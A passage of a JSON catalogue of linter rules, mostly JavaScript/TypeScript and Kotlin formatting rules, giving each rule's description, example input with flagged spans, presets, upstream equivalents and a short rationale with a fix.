        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-with",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-with"
        }
      ],
      "why": "Inside `with (obj) { ... }` every name may be a property of `obj` or a variable, and which one it is depends on `obj` at run time, so neither a reader nor a tool can tell what `b` in `with (a) { b }` refers to. The statement is a syntax error in strict mode and in ES modules, so a file that uses it cannot be turned into a module later.\n\nTo fix, name the object in each access (`a.b`) or copy the properties you need into variables before the block."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports the global types `BigInt`, `Boolean`, `Number`, `Object`, `String` and `Symbol` used as type names. The lower-case primitives are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "let f: Function;\nlet s: String;\nlet t: string;\n",
        "language": "js",
        "other_lines": [
          1
        ],
        "spans": [
          {
            "column": 8,
            "length": 6,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-wrapper-object-types",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-wrapper-object-types",
          "partial": false,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-wrapper-object-types"
        }
      ],
      "why": "`String` and the like are the types of the wrapper objects (`new String('a')`), not of the primitive values, and a primitive is assignable to them only by accident of the language. `Object` accepts every value except `null` and `undefined`, numbers and strings included.\n\nTo fix, write `string`, `number`, `boolean`, `bigint` or `symbol`; for any non-primitive value write `object`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a literal type that only repeats the literal it is given: `let a: 'a' = 'a'`, `'a' as 'a'` and `<'a'>'a'`. A type that differs from the value (`let a: 'a' = 'b'` is a type error, not reported) and `as const` are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "let a: \"a\" = \"a\", b: \"a\" = 'a', c: 1 = 1, d: string = \"a\";\nclass C { p: \"a\" = \"a\"; q = 1 as 1; r = <\"a\">\"a\"; s = \"a\" as \"b\"; }\n",
        "language": "js",
        "other_lines": [],
        "spans": [
          {
            "column": 8,
            "length": 3,
            "line": 1
          },
          {
            "column": 36,
            "length": 1,
            "line": 1
          },
          {
            "column": 14,
            "length": 3,
            "line": 2
          },
          {
            "column": 34,
            "length": 1,
            "line": 2
          },
          {
            "column": 42,
            "length": 3,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "prefer-as-const",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "prefer-as-const",
          "partial": false,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/prefer-as-const"
        }
      ],
      "why": "The literal is written twice and the two copies can drift apart when one is edited. `as const` says it once and keeps the literal type.\n\nTo fix, write `let a = 'a' as const`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `let` variable that is assigned once and could be a `const`: the single write is its initializer, a `for-in` or `for-of` head, or the first assignment statement in the same block as the declaration. A variable written in a nested block or function, a `let` of a `for (;;)` head, and a destructuring that assigns members or outer names are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "var a = 1;\nlet b = 2;\nlet c = 3;\nc = 4;\nfunction f() {\n  return arguments;\n}\nf.apply(undefined, b);\nf.apply(null, [1]);\no[m].apply(o, b);\nfunction g() {\n  let d;\n  d = 1;\n  return d;\n}\n",
        "language": "js",
        "other_lines": [
          1,
          6,
          8,
          10
        ],
        "spans": [
          {
            "column": 5,
            "length": 1,
            "line": 2
          },
          {
            "column": 3,
            "length": 1,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "prefer-const",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "prefer-const",
          "note": "the options keep their defaults (`destructuring: any`, `ignoreReadBeforeAssign: false`)",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/prefer-const"
        }
      ],
      "why": "A `let` says the variable changes. When it never does, the keyword misleads the reader into looking for the later assignment, and `const` lets the compiler stop one.\n\nTo fix, write `const`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `arguments` used in an ordinary function, except as the object of a member read by name (`arguments.length`). `arguments[0]` and passing `arguments` on are reported; an arrow function has no `arguments` of its own and is not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "var a = 1;\nlet b = 2;\nlet c = 3;\nc = 4;\nfunction f() {\n  return arguments;\n}\nf.apply(undefined, b);\nf.apply(null, [1]);\no[m].apply(o, b);\nfunction g() {\n  let d;\n  d = 1;\n  return d;\n}\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          8,
          10,
          13
        ],
        "spans": [
          {
            "column": 10,
            "length": 9,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "prefer-rest-params",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "prefer-rest-params",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/prefer-rest-params"
        }
      ],
      "why": "`arguments` is an array-like object, not an array, and is tied to the function in ways that disable some optimizations, so `arguments.map(...)` fails. A rest parameter (`...args`) is a real array and shows in the parameter list.\n\nTo fix, declare `...args`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `f.apply(undefined, args)`, `f.apply(null, args)`, `o.m.apply(o, args)` and `o['m'].apply(o, args)`, where the first argument is `null`, `undefined`, or the same object that the method is read from. `f.apply(this, args)`, `o.m.apply(p, args)` with another object, and an array literal or a spread (`...args`) as the arguments are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "var a = 1;\nlet b = 2;\nlet c = 3;\nc = 4;\nfunction f() {\n  return arguments;\n}\nf.apply(undefined, b);\nf.apply(null, [1]);\no[m].apply(o, b);\nfunction g() {\n  let d;\n  d = 1;\n  return d;\n}\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          6,
          13
        ],
        "spans": [
          {
            "column": 1,
            "length": 21,
            "line": 8
          },
          {
            "column": 1,
            "length": 16,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "prefer-spread",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "prefer-spread",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/prefer-spread"
        }
      ],
      "why": "When the call keeps the same `this`, `apply` only spreads an array into arguments, which the spread syntax says directly: `f(...args)` and `o.m(...args)`. The `apply` form needs the reader to know the first argument is ignored.\n\nTo fix, write the call with `...args`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a name declared again in the same scope (`var` twice, a `var` and a parameter, two functions). In TypeScript files declaration merging (interfaces, namespaces, a class with an interface) is allowed. Built-in globals are not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "use(undefinedThing, typeof maybe, typeof maybe.x, arguments);\nfunction f(a, a2) { var a; return arguments; }\nvar x = 1; var x = 2; function x() {}\nfunction f2() {} function f2() {}\ntry {} catch (e) { var e; }\nbefore(); function before() {} before2(); var before2 = 1;\nconst s = s + 1; let t = () => t; class C { static p = C; q = C; } class D extends D {}\nfor (var i of i) {} const { u = u } = {};\nPromise.all([globalThis, hasOwnProperty]);\n",
        "language": "js",
        "other_lines": [
          1,
          5,
          6,
          7,
          8
        ],
        "spans": [
          {
            "column": 25,
            "length": 1,
            "line": 2
          },
          {
            "column": 16,
            "length": 1,
            "line": 3
          },
          {
            "column": 32,
            "length": 1,
            "line": 3
          },
          {
            "column": 27,
            "length": 2,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "redeclared-variable",
      "languages": [
        "js",
        "python"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "no-redeclare",
          "note": "the `builtinGlobals` option and `/*global*/` comments are not supported (the files are modules, whose top scope is not the global scope)",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-redeclare"
        },
        {
          "id": "F811",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F811/"
        },
        {
          "id": "no-redeclare",
          "note": "`builtinGlobals` and `/*global*/` comments are not supported; `ignoreDeclarationMerge` keeps its default",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-redeclare"
        }
      ],
      "why": "The second declaration replaces or merges with the first, so the earlier one is dead, and which of the two a use reaches depends on the order. It is usually a copy that should have had another name.\n\nTo fix, remove the repeat, or rename one of them."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports a generator (`function*`, a generator method, `async function*`) that has statements but no `yield`. An empty generator is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function f() { try { a(); } finally { return 1; } }\nfunction g() { try { a(); } finally { throw e; } }\nfunction h() { for (;;) { try { a(); } finally { break; } } }\nfunction i() { try { a(); } finally { for (;;) { break; } } }\nfunction j() { try { a(); } finally { function k() { return 1; } } }\nfunction l() { l: try { a(); } finally { break l; } }\nfunction m() { try { a(); } finally { m: { break m; } } }\nvar o = { get a() {}, get b() { return; }, get c() { return 1; }, get d() { if (x) return 1; }, get e() { throw 1; } };\nclass K { get a() {} static get b() { return 1 } get c() { while (true) {} } }\nfunction* p() {}\nfunction* q() { r(); }\nfunction* s() { yield 1; }\nvar t = { *u() { v(); } };\nclass L { *w() { x(); } async *y() { z(); } }\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          3,
          6,
          8,
          9
        ],
        "spans": [
          {
            "column": 1,
            "length": 22,
            "line": 11
          },
          {
            "column": 13,
            "length": 11,
            "line": 13
          },
          {
            "column": 13,
            "length": 11,
            "line": 14
          },
          {
            "column": 33,
            "length": 11,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "require-yield",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "require-yield",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/require-yield"
        }
      ],
      "why": "A generator that never yields produces no values: iterating it runs the body once and ends at once. That is the mistake of a `function*` that was meant to be a normal function, or of a `yield` that was left out.\n\nTo fix, add the `yield`, or drop the `*`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a variable, parameter or function with the name of one declared in a scope around it. A function declared later in the outer scope still counts (it is hoisted), a variable declared later does not, and `var a = function a() {}` is not a shadow. In TypeScript files a type and a value of one name, and the parameters of function types, are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "var a = 1; let b = 2;\nfunction f(a) { let b = 3; { const a = 4; } }\nvar c = function c() {}; var d = function (d) {};\nfunction outer() { var e = 1; function inner() { var e = 2; } }\nfunction hoist() { var h = 1; } function h() {}\nconst t = () => { const late = 1; }; const late = 2;\nclass K { m() { var K = 1; } }\n",
        "language": "js",
        "other_lines": [],
        "spans": [
          {
            "column": 12,
            "length": 1,
            "line": 2
          },
          {
            "column": 21,
            "length": 1,
            "line": 2
          },
          {
            "column": 36,
            "length": 1,
            "line": 2
          },
          {
            "column": 44,
            "length": 1,
            "line": 3
          },
          {
            "column": 54,
            "length": 1,
            "line": 4
          },
          {
            "column": 24,
            "length": 1,
            "line": 5
          },
          {
            "column": 21,
            "length": 1,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "shadowed-variable",
      "languages": [
        "js",
        "python"
      ],
      "options": [
        {
          "default": [],
          "description": "Names that may shadow.",
          "name": "allow",
          "type": "list"
        },
        {
          "choices": [
            "variable",
            "parameter",
            "function",
            "class",
            "import",
            "type"
          ],
          "default": [],
          "description": "The declarations that are checked for shadowing something (empty: all).",
          "name": "kinds",
          "type": "list"
        }
      ],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "no-shadow",
          "note": "the options keep their defaults (`builtinGlobals` off, `hoist` functions, `allow` empty, `ignoreOnInitialization` off)",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-shadow"
        },
        {
          "id": "F402",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F402/"
        },
        {
          "id": "PLR1704",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/PLR1704/"
        },
        {
          "id": "no-shadow",
          "note": "the options keep their defaults",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-shadow"
        }
      ],
      "why": "The inner name hides the outer one for the rest of its scope, so the same word means two things, and a change that was meant for the outer variable lands on the inner one or the reverse.\n\nTo fix, rename the inner variable."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `/// <reference path=\"x\" />` or `/// <reference types=\"x\" />` before the first statement of the file; for `types` only when the file also imports that module. A directive after the first statement is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "/// <reference path=\"a.d.ts\" />\n/// <reference types=\"b\" />\n/// <reference types=\"c\" />\n/// <reference lib=\"es2020\" />\nimport \"b\";\n",
        "language": "js",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 31,
            "line": 1
          },
          {
            "column": 1,
            "length": 27,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "triple-slash-reference",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "triple-slash-reference",
          "note": "the options (`lib`, `path`, `types`) keep their defaults",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/triple-slash-reference"
        }
      ],
      "why": "Triple-slash references are the older way to include files and types before modules. An `import` states the dependency where it is used, is followed by bundlers and other tools, and does not depend on the order of directives.\n\nTo fix, replace the reference with an `import` (an `import type` where only types are needed)."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a name that no scope declares, that is not a global of ES2026 (or, in a `.cjs` file, `require`, `module`, `exports` and `global`) and that is not in the option `globals`. `typeof x` and JSX tags are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<?php\n\nfunction f(int $a, $b = 1) {\n    $x = $a + $b;\n    [$p, $q] = g();\n    foreach ($arr as $k => $v) {\n        echo $k . $v . $p . $q . $x;\n    }\n    try {\n        h($m);\n    } catch (Exception $e) {\n        echo $e;\n    }\n    $r = function () use ($x) {\n        return $x + $undefined;\n    };\n    $s = fn($z) => $z + $x;\n    global $gg;\n    static $st = 0;\n    $x++;\n    preg_match('/a/', $a, $m2);\n    $list[] = 1;\n    echo $gg . $st . $m2 . $list . Foo::$bar . $this->z . $_GET['a'];\n    echo isset($maybe) ? \"$x {$y}\" : '';\n    return $s;\n}\n\nfunction g() {\n    return $top;\n}\n\nfunction h() {\n    extract($data);\n    return $name;\n}\n\n$top = 1;\necho $top . $nowhere;\n",
        "language": "php",
        "other_lines": [],
        "spans": [
          {
            "column": 14,
            "length": 4,
            "line": 6
          },
          {
            "column": 21,
            "length": 10,
            "line": 15
          },
          {
            "column": 31,
            "length": 2,
            "line": 24
          },
          {
            "column": 12,
            "length": 4,
            "line": 29
          }
        ]
      },
      "fix": null,
      "id": "undefined-variable",
      "languages": [
        "js",
        "php",
        "python"
      ],
      "options": [
        {
          "default": [],
          "description": "Names the environment declares (ESLint's `languageOptions.globals`), such as `window` or `console`.",
          "name": "globals",
          "type": "list"
        }
      ],
      "presets": [
        "js/eslint-recommended",
        "php/phpstan",
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "no-undef",
          "note": "the `typeof` option keeps its default; `languageOptions.globals` is the rule's `globals` option, and `/*global*/` comments are not read; JSX tags are not references",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-undef"
        },
        {
          "id": "variable.undefined",
          "note": "Only a variable that nothing in its function assigns (PHPStan's level 0 reports exactly those); a variable passed to a call counts as assigned, and a function with `extract`, `parse_str`, `include` or `$$x` is not checked.",
          "partial": true,
          "tool": "phpstan",
          "url": "https://phpstan.org/error-identifiers"
        },
        {
          "id": "F821",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F821/"
        }
      ],
      "why": "An undeclared name fails with a ReferenceError when the line runs, or it silently creates a global when it is assigned. A typo in a name is the usual cause.\n\nTo fix, declare the name, import it, or add it to `globals` if the environment provides it."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a reference that comes before the declaration of what it names in the source (function declarations included), or that runs while the variable is being initialized. References in types are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "use(undefinedThing, typeof maybe, typeof maybe.x, arguments);\nfunction f(a, a2) { var a; return arguments; }\nvar x = 1; var x = 2; function x() {}\nfunction f2() {} function f2() {}\ntry {} catch (e) { var e; }\nbefore(); function before() {} before2(); var before2 = 1;\nconst s = s + 1; let t = () => t; class C { static p = C; q = C; } class D extends D {}\nfor (var i of i) {} const { u = u } = {};\nPromise.all([globalThis, hasOwnProperty]);\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 1,
            "length": 6,
            "line": 6
          },
          {
            "column": 32,
            "length": 7,
            "line": 6
          },
          {
            "column": 11,
            "length": 1,
            "line": 7
          },
          {
            "column": 84,
            "length": 1,
            "line": 7
          },
          {
            "column": 15,
            "length": 1,
            "line": 8
          },
          {
            "column": 33,
            "length": 1,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "use-before-define",
      "languages": [
        "js",
        "python"
      ],
      "options": [
        {
          "default": true,
          "description": "Check function declarations.",
          "name": "functions",
          "type": "bool"
        },
        {
          "default": true,
          "description": "Check class declarations.",
          "name": "classes",
          "type": "bool"
        },
        {
          "default": true,
          "description": "Check `var`, `let` and `const` variables.",
          "name": "variables",
          "type": "bool"
        }
      ],
      "presets": [
        "js/biome-recommended",
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "no-use-before-define",
          "note": "the options keep their defaults; JSX tags are not references",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-use-before-define"
        },
        {
          "id": "F823",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F823/"
        },
        {
          "id": "no-use-before-define",
          "note": "the options keep their defaults",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-use-before-define"
        }
      ],
      "why": "A `let`, `const` or class read before its declaration fails at run time, and a `var` is `undefined` until then. Even where it works (a hoisted function), a reader meets the use before the definition.\n\nTo fix, move the declaration above its first use."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports a comparison with `NaN` (`NaN` or `Number.NaN` on either side of `==`, `!=`, `===`, `!==`, `<`, `>`...), and `NaN` as the `switch` discriminant or as a `case` test. `isNaN(a)` and `Number.isNaN(a)` are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if (a === NaN || NaN != a || a < Number.NaN || a === NaN2) {}\nswitch (NaN) { case NaN: break; case 1: }\ntypeof a === \"strnig\"; typeof a == \"object\"; \"number\" !== typeof a; typeof a === undefined; typeof a === typeof b;\nif (!a in b) {} if (!a instanceof B) {} if ((!a) in b) {} if (!(a in b)) {}\nif (x === -0) {} if (-0 < x) {} if (x === +0) {} if (x + -0 === y) {}\n",
        "language": "js",
        "other_lines": [
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 5,
            "length": 9,
            "line": 1
          },
          {
            "column": 18,
            "length": 8,
            "line": 1
          },
          {
            "column": 30,
            "length": 14,
            "line": 1
          },
          {
            "column": 1,
            "length": 41,
            "line": 2
          },
          {
            "column": 16,
            "length": 16,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "use-isnan",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "use-isnan",
          "note": "the `enforceForIndexOf` option is not supported; a local `NaN` is not told from the global",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/use-isnan"
        }
      ],
      "why": "`NaN` is not equal to any value, itself included, so `a === NaN` is always `false` and `a !== NaN` is always `true`; a `switch` on `NaN` never matches a case, because it compares with `===`. The check never does what it reads like.\n\nTo fix, use `Number.isNaN(a)`, which is true only for `NaN`; the global `isNaN` first converts its argument to a number."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports a `typeof` comparison whose other side is a string that `typeof` never returns (a typo such as `'strnig'`, or `'null'`), or the identifier `undefined` instead of the string `'undefined'`. A string template, a variable and a valid type name are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if (a === NaN || NaN != a || a < Number.NaN || a === NaN2) {}\nswitch (NaN) { case NaN: break; case 1: }\ntypeof a === \"strnig\"; typeof a == \"object\"; \"number\" !== typeof a; typeof a === undefined; typeof a === typeof b;\nif (!a in b) {} if (!a instanceof B) {} if ((!a) in b) {} if (!(a in b)) {}\nif (x === -0) {} if (-0 < x) {} if (x === +0) {} if (x + -0 === y) {}\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          4,
          5
        ],
        "spans": [
          {
            "column": 14,
            "length": 8,
            "line": 3
          },
          {
            "column": 82,
            "length": 9,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "valid-typeof",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "valid-typeof",
          "note": "the `requireStringLiterals` option is not supported",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/valid-typeof"
        }
      ],
      "why": "`typeof` returns one of `\"undefined\"`, `\"object\"`, `\"boolean\"`, `\"number\"`, `\"bigint\"`, `\"string\"`, `\"symbol\"` or `\"function\"`. A comparison with any other string is always false, and a typo then silently turns a type check into dead code. `typeof a === undefined` compares a string with the value `undefined`, which is never true either (and `typeof null` is `\"object\"`, not `\"null\"`).\n\nTo fix, use one of the eight names, as a string."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an argument list of a call that the Kotlin formatter would wrap or join differently: the arguments on one line when they fit, one per line when they do not.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "fun f(x: Int) {\n    val a = if (x > 0)\n        1\n    else 2\n    val b = when (x) {\n        1 -> { println(1) }\n        else -> println(2)\n    }\n    foo(); bar()\n    val c = someVeryLongReceiverName.firstFunctionCall(argumentNumberOne).secondFunctionCall(argumentNumberTwo).thirdFunctionCall(argumentNumberThree)\n    callTheFunction(argumentNumberOne, argumentNumberTwo, argumentNumberThree, argumentNumberFour, argumentNumberFive, argumentNumberSix, argumentNumberSeven)\n}\n",
        "language": "kotlin",
        "other_lines": [
          2,
          3,
          4,
          5,
          6,
          7,
          10
        ],
        "spans": [
          {
            "column": 21,
            "length": 1,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "argument-list-wrapping",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "argument-list-wrapping",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#argument-list-wrapping"
        }
      ],
      "why": "A call whose arguments are wrapped in a mixed way (two on the first line, the rest below, aligned to the bracket) is hard to scan and makes a diff show a change on every line when one argument is renamed. One layout for all lists lets the formatter apply it and keeps the diffs small.\n\nTo fix, run the formatter, which lays the list out."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a declaration (function, property, class, object, typealias) with a blank line before it that the formatter would add or remove. Declarations with comments or annotations before them are included.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "val a = 1\n// about b\nval b = 2\n\n@Deprecated(\"x\")\nfun c() {}\n\nfun d(x: Int,\n      y: Int) {\n}\n",
        "language": "kotlin",
        "other_lines": [
          8,
          9
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "blank-line-between-declarations",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "spacing-between-declarations-with-annotations",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#blank-line-between-declarations-with-annotations"
        },
        {
          "id": "spacing-between-declarations-with-comments",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#blank-line-between-declaration-with-comments"
        }
      ],
      "why": "Blank lines show where one declaration ends and the next one begins. A file that is consistent shows the structure at a glance, and a formatter that keeps the same spacing does not turn up as a diff on each save.\n\nTo fix, run the formatter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `when` entry with a blank line before it that the formatter would add or remove.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "fun f(x: Int) {\n    val a = if (x > 0)\n        1\n    else 2\n    val b = when (x) {\n        1 -> { println(1) }\n        else -> println(2)\n    }\n    foo(); bar()\n    val c = someVeryLongReceiverName.firstFunctionCall(argumentNumberOne).secondFunctionCall(argumentNumberTwo).thirdFunctionCall(argumentNumberThree)\n    callTheFunction(argumentNumberOne, argumentNumberTwo, argumentNumberThree, argumentNumberFour, argumentNumberFive, argumentNumberSix, argumentNumberSeven)\n}\n",
        "language": "kotlin",
        "other_lines": [
          2,
          3,
          4,
          5,
          6,
          10,
          11
        ],
        "spans": [
          {
            "column": 9,
            "length": 1,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "blank-line-between-when-conditions",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "blank-line-between-when-conditions",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#blank-line-between-when-conditions"
        }
      ],
      "why": "Blank lines between the entries of a `when` are laid out by one rule, so the spacing does not depend on the author and is not changed by hand.\n\nTo fix, run the formatter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a call chain (`a.b().c()`, with `?.` too) whose line breaks differ from what the formatter writes.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "fun f(x: Int) {\n    val a = if (x > 0)\n        1\n    else 2\n    val b = when (x) {\n        1 -> { println(1) }\n        else -> println(2)\n    }\n    foo(); bar()\n    val c = someVeryLongReceiverName.firstFunctionCall(argumentNumberOne).secondFunctionCall(argumentNumberTwo).thirdFunctionCall(argumentNumberThree)\n    callTheFunction(argumentNumberOne, argumentNumberTwo, argumentNumberThree, argumentNumberFour, argumentNumberFive, argumentNumberSix, argumentNumberSeven)\n}\n",
        "language": "kotlin",
        "other_lines": [
          2,
          3,
          4,
          5,
          6,
          7,
          11
        ],
        "spans": [
          {
            "column": 13,
            "length": 1,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "chain-method-continuation",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "chain-method-continuation",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#chain-method-continuation"
        }
      ],
      "why": "A chain that is broken in some places and not in others hides which calls belong together, and a later edit adds or moves breaks. One layout for all chains makes each step visible and keeps the diff small.\n\nTo fix, run the formatter."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a class, interface or object whose name starts with a lowercase letter or an underscore.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class my_class\nclass Good\ninterface other\nobject lower\nobject Fine\nclass `a name`\n",
        "language": "kotlin",
        "other_lines": [],
        "spans": [
          {
            "column": 7,
            "length": 8,
            "line": 1
          },
          {
            "column": 11,
            "length": 5,
            "line": 3
          },
          {
            "column": 8,
            "length": 5,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "class-naming",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "class-naming",
          "note": "Names in backticks are accepted; no test-file exceptions.",
          "partial": true,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#class-naming"
        }
      ],
      "why": "Kotlin follows the convention that types are in PascalCase, so a lowercase name reads as a variable or a function and is mistaken for one at the call site.\n\nTo fix, rename the class to PascalCase."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a class header (name, constructor, supertypes) that the formatter would lay out differently.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A(val a: Int,\n        val b: Int) {\n    fun foo(a: Int, b: String, c: Long, d: Double, e: Float, f: Short, g: Byte, h: Char, i: Boolean, j: Unit): Int { return 1 }\n\n    fun baz() = run {\n        1\n    }\n\n    val x = listOf(\n        1,\n        2\n    )\n\n    fun bar(\n        a: Int,\n        b: Int\n    ) = a + b\n\n    fun ok(a: Int) = a\n\n    fun sum(): Int { return 1 }\n}\n",
        "language": "kotlin",
        "other_lines": [
          2,
          3,
          5,
          9,
          11,
          16,
          21
        ],
        "spans": [
          {
            "column": 9,
            "length": 1,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "class-signature",
      "languages": [
        "kotlin"
      ],
      "options": [],
      "presets": [
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "class-signature",
          "partial": false,
